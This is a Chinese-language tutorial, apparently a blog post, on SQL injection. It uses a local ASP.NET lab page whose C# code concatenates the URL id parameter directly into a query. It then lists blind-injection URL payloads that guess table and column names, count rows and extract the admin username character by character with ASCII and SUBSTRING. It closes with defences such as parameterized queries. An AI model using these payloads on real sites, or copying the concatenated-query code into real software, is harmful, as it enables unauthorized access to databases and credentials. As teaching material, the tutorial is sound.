SQL注入是一個比較「古老」的話題,雖然如今存在這種漏洞的站點比較少了,咱們仍是有必要了解一下它的危害,及其經常使用的手段,知己知彼方能百戰不殆。進攻與防守至關於矛和盾的關係,咱們若是能清楚瞭解程序員
攻擊的全過程,就能夠更好的預防相似狀況的出現。sql
SQL注入原理 主要是攻擊者,利用被攻擊頁面的一些漏洞(一般都是程序員粗枝大葉形成的),改變數據庫執行的SQL語句,從而達到獲取「非受權信息」的目的。數據庫
下面本身搭建了實驗環境用於測試。 首先交待一下,測試環境 開發語言爲 Asp.net ,數據庫使用的 MSQL ,測試頁面模擬了普通的新聞頁面,URL裏接受參數 ?id=1 獲取文章ID,瀏覽器
後臺直接通獲取的ID拼接查詢語句,沒有作敏感字符的過濾,從而爲入侵者留下了有機可剩的漏洞.下面是後臺代碼:框架
public partial class NewsInfo : System.Web.UI.Page { protected NewsModel _news = new NewsModel(); protected void Page_Load(object sender, EventArgs e) { var id = Request["id"]; var sqlStr = "select * from news where id=" + id; var sqlCon = SqlHelper.GetConnection(); try { var ds = SqlHelper.ExecuteDataset(sqlCon, CommandType.Text, sqlStr); if (ds.Tables[0].Rows.Count <= 0) return; _news.Title = ds.Tables[0].Rows[0]["title"].ToString(); _news.Text = ds.Tables[0].Rows[0]["text"].ToString(); _news.CreateTime = ((DateTime)ds.Tables[0].Rows[0]["createTime"]).ToString("yyyy-MM-dd"); } catch (Exception ex) { } } }
1、過程重現函數
1. 測試有沒有注入漏洞 測試
瀏覽器輸入 http://localhost:2003/newsInfo?id=1 and 1=1 頁面正常 後臺執行的SQL語句爲:select * from news where id=1 and 1=1網站
輸入 http://localhost:2003/newsInfo?id=1 and 1=2 空白頁面,數據沒法顯示(後臺執行的SQL語句爲:select * from news where id=1 and 1=2),頁面有注入漏洞。spa
2. 猜解數據庫表名.net
既然有漏洞,就準備作點事情咯,主要目的是拿到後臺管理員密碼,先看看數據庫裏有哪些表吧
http://localhost:2003/newsInfo?id=1 and (select count(*) from userInfo) >=0 沒有數據,繼續猜解...... N次,
終於 http://localhost:2003/newsInfo?id=1 and (select count(*) from [user]) >=0
這裏是利用 後面的條件查詢數據庫表,若是表不存在,後臺就報錯了,本測試示例後臺對異常作了處理,可是數據確定是出不來的。
數據顯示正常,說明表 user 存在,判斷 爲 用戶表
3. 表字段猜解
http://localhost:2003/newsInfo?id=1 and (select count(password) from [user]) >=0 ....... N次
http://localhost:2003/newsInfo?id=1 and (select count(pwd) from [user]) >=0 頁面數據正常以下圖
說名錶 user 存在 pwd 字段
同理 確認表 user 裏存在 name 字段。
4. 查詢表裏有多少條數據
http://localhost:2003/newsInfo?id=1 and (select count(*) from [user]) >=5 返回空白頁面
http://localhost:2003/newsInfo?id=1 and (select count(*) from [user]) >=2 返回空白頁面
http://localhost:2003/newsInfo?id=1 and (select count(*) from [user]) =1 頁面正常 ,只有一個用戶。
5. 用戶名猜解
<A> 用戶名長度,
http://localhost:2003/newsInfo?id=1 and (select len(name) from [user]) =3 ,返回空白頁面
http://localhost:2003/newsInfo?id=1 and (select len(name) from [user]) =4 ,返回空白頁面
http://localhost:2003/newsInfo?id=1 and (select len(name) from [user]) =5 ,返回正常頁面,肯定用戶名爲5位字符
<B> 用戶名猜解
第一位 http://localhost:2003/newsInfo?id=1 and (select ASCII(SUBSTRING(name,1,1)) from [user])> 20 ,返回正常頁面 ...........
下面猜解 N次
http://localhost:2003/newsInfo?id=1 and (select ASCII(SUBSTRING(name,1,1)) from [user])> 96, 返回正常頁面
http://localhost:2003/newsInfo?id=1 and (select ASCII(SUBSTRING(name,1,1)) from [user])> 97 返回空白頁面了
這說明 第一位 ASCII值爲 97,對應字母 a
以此類推 ,第2位,第3位 .....第5位, 猜解出用戶名 admin ,在這裏主要用了 ASCII 和 SUBSTRING 函數,若是對這兩個函數不熟悉請自行百度,下面是猜解過程截圖。
用戶名猜解成功。
6. 密碼猜解
用戶名搞定了,密碼思路也是同樣
<A> 先肯定密碼長度
<B> 逐個密碼猜解,這裏就不寫注入的sql語句了,同 用戶名 猜解
至此,整改網站管理後臺淪陷。
2、防範方法
1. 後臺進行輸入驗證,對敏感字符過濾。(某狀況下不徹底保險,可能會有漏掉的敏感字符,攻擊者能夠對關鍵字符轉義繞過過濾)
2. 使用存儲過程(不靈活,太多存儲過程很差維護,特別是若是存儲過程裏涉及到業務,對之後的維護簡直是災難,出了問題也很差查找)
3. 使用參數化查詢,能避免拼接SQL,就不要拼接SQL語句。(固然了,本示例只要判斷 參數ID 是否爲數字就不會有題了)
4. 使用一些開源的框架也能夠有效的避免SQL注入。